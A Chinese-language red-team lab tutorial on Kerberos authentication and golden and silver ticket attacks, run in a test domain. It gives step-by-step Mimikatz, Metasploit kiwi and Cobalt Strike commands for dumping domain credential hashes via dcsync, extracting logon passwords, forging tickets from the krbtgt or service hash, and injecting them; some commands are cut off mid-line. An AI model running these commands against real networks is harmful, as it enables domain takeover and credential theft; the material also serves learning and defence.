内网渗透|Kerberos认证和黄金票据

简介: 内网渗透|Kerberos认证和黄金票据

Kerberos认证

介绍

Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。

这个词又指麻省理工学院为这个协议开发的一套计算机软件。

认证流程

提示:

AS(Authentication Server) 认证服务器

KDC(Key Distribution Center) 密钥分发中心

TGT(Ticket Granting Ticket) 票据授权票据(票据的票据)

TGS(Ticket Granting Server) 票据授权服务器

ACL(Access Control Lists) 访问控制列表

DC(Domain Controller) 域控制器

AD(Active Directory) 活动目录

Client 客户端

Server 服务端

详细流程图

91f6776b70aaa8dfb716cd214ad7e027_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

黄金票据

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

票据条件:

  • 域名称
  • 域的 SID 值
  • 域的 KRBTGT 账号的 HASH
  • 伪造D的任意用户名

实验环境

机器:

12server4

AD01


域名:

redteam.club

Mimikatz

12server4上操作

信息收集

前提域管权限

#导出hash
privilege::debug
lsadump::dcsync /domain:redteam.club /all /csv(lsadump::lsa /inject)
##一条命令
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "e

7d7d8f2177d59a5aff043bdfa7390205_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

1449b4fa263a50e5faba009f564524a4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

c775ce4ecaa195eac2d9f0449ca28042_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

制作

#制作黄金票据
mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536

1cd3ae31b51c6df31de47df91c0dc955_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

导入

#清除票据
kerberos::purge
#导入票据
kerberos::ptt C:\Users\ticket.kirbi

a26d933da091956e97568231cfa9bb31_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Metasploit

12server4上操作

system权限信息收集

#信息收集
load kiwi   #导入kiwi模块
##提示:以下需要system权限
creds_all   #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
kiwi_cmd sekurlsa::logonpasswords  #抓密码和hash

6d276437971695ef2ba80ca65c83319e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

22622eb0fb4c36a3a0550a3083e6a1c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

147206f86802c36390cd602fe5107714_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

域管权限信息收集

#信息收集(需要域管权限)
kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt"  #krbtgt账户的密码hash值
kerberos_ticket_list  #列举kerberos票据 
kerberos_ticket_purge #清除kerberos票据

29beade574a777b1989a61bcd3f94ef4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3ce10725ceb73352c68300c684b3ac4e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

制作及导入

#制作金票
golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket
#导入金票
kerberos_ticket_use /home/kali/administrator.ticket

1e560fb1d41b090c5485b9a687983874_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

CobaltStrike

AD01上操作

注意

在使用CobaltStrike4.7时,只有在AD上才能抓取到krbtgt的hash,二前两个有域管权限就可以

希望可以得到师傅们的指点

12server4:12server4\administratorredteam\administrator均不成功

11ee90c5deead1ea71cccde6ace242c5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

a798aafd8e8d1c5f0fc02b9d972a17d8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

AD01:redteam\administrator成功抓取

2c0a9d6998c1dc9e670af4b20dabb9a7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

流程

1.抓取hash

5e3626714a7b4b7d7c1d970835ba9723_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

db8842f1447e64d9f7b8d6a38b7e46c6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.shell whoami /all

11f8d71b5deeabf547f4cbd9e15a2726_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.制作金票

f7a56ff2535f02c5f980df1190795af5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4bde899b05e318937e8b7d953228d2b0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

91588336a675eff8a690f51a562dde2d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

白银票据

原理

白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

票据条件:

  • 域名
  • 域 SID(就是域成员SID值去掉最后的)
  • 目标服务器的 FQDN
  • 可利用的服务
  • 服务账号的 NTLM Hash
  • 需要伪造的用户名

2d04a24c4b1b3f0b3e1341d2690db7c7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里就制作一个

mimikatz

12server4上操作

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

cifs

#命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
#示例
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-34562991

6bb114d18af0fee7f01cf8362fb73831_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

相关文章
|
3月前
|
前端开发 JavaScript NoSQL
如何开发一套绩效管理(KPI)系统?(附架构图+流程图+代码参考)
本文介绍了如何构建科学有效的绩效管理(KPI)系统,帮助企业提升组织效率与员工成长。内容涵盖系统架构设计、功能模块开发、业务流程落地及实操技巧,提供架构图、流程图和核心代码参考,助力快速实现企业绩效管理数字化。
|
存储 安全 Java
【Java】已解决java.io.ObjectStreamException异常
【Java】已解决java.io.ObjectStreamException异常
177 1
|
JavaScript NoSQL API
深入浅出:使用Node.js构建RESTful API
【8月更文挑战第31天】本文将引导读者了解如何利用Node.js搭建一个高效、易于扩展的RESTful API。通过简单易懂的语言和逐步深入的内容组织,我们将一起探索Node.js在后端开发中的实际应用,包括环境配置、路由设计、数据处理与连接数据库等关键步骤。文章末尾,你将获得完整的项目代码示例,助你快速启动自己的API项目。
|
JavaScript 前端开发 网络协议
抖音直播弹幕数据逆向:websocket和JS注入
抖音直播弹幕数据逆向:websocket和JS注入
1490 1
|
设计模式 算法 Java
Spring Boot 项目怎么使用策略模式?
策略模式是一种设计模式,它允许在运行时选择不同的算法或行为。此模式通过定义一系列算法并将它们封装在独立的类中实现,这些类可以互相替换。这样可以根据不同情况动态选择最适合的算法。 在Spring框架中,可以通过依赖注入来实现策略模式。首先定义一个抽象策略类(接口或抽象类),然后创建具体策略类实现不同的算法。具体策略类通过`@Service`注解并在名称中指定特定的策略(如加法、减法等)。在上下文类(如Service类)中,通过`@Resource`注入策略对象的Map集合,根据需要选择并执行相应的策略。
630 0
|
网络协议 文件存储
如何公网远程连接本地群晖NAS中的WebDAV
如何公网远程连接本地群晖NAS中的WebDAV
1225 0
Vue3 + echarts 5.4.2 实现图表效果
从vue2升级到vue3,对原来的柱状图、折线图组件进行了修改,这两个组件的语法保留了vue2,实际使用也没有问题
471 0
|
XML 安全 C++
Windows RPC之MS-TSCH添加计划任务
Windows RPC之MS-TSCH添加计划任务
1423 0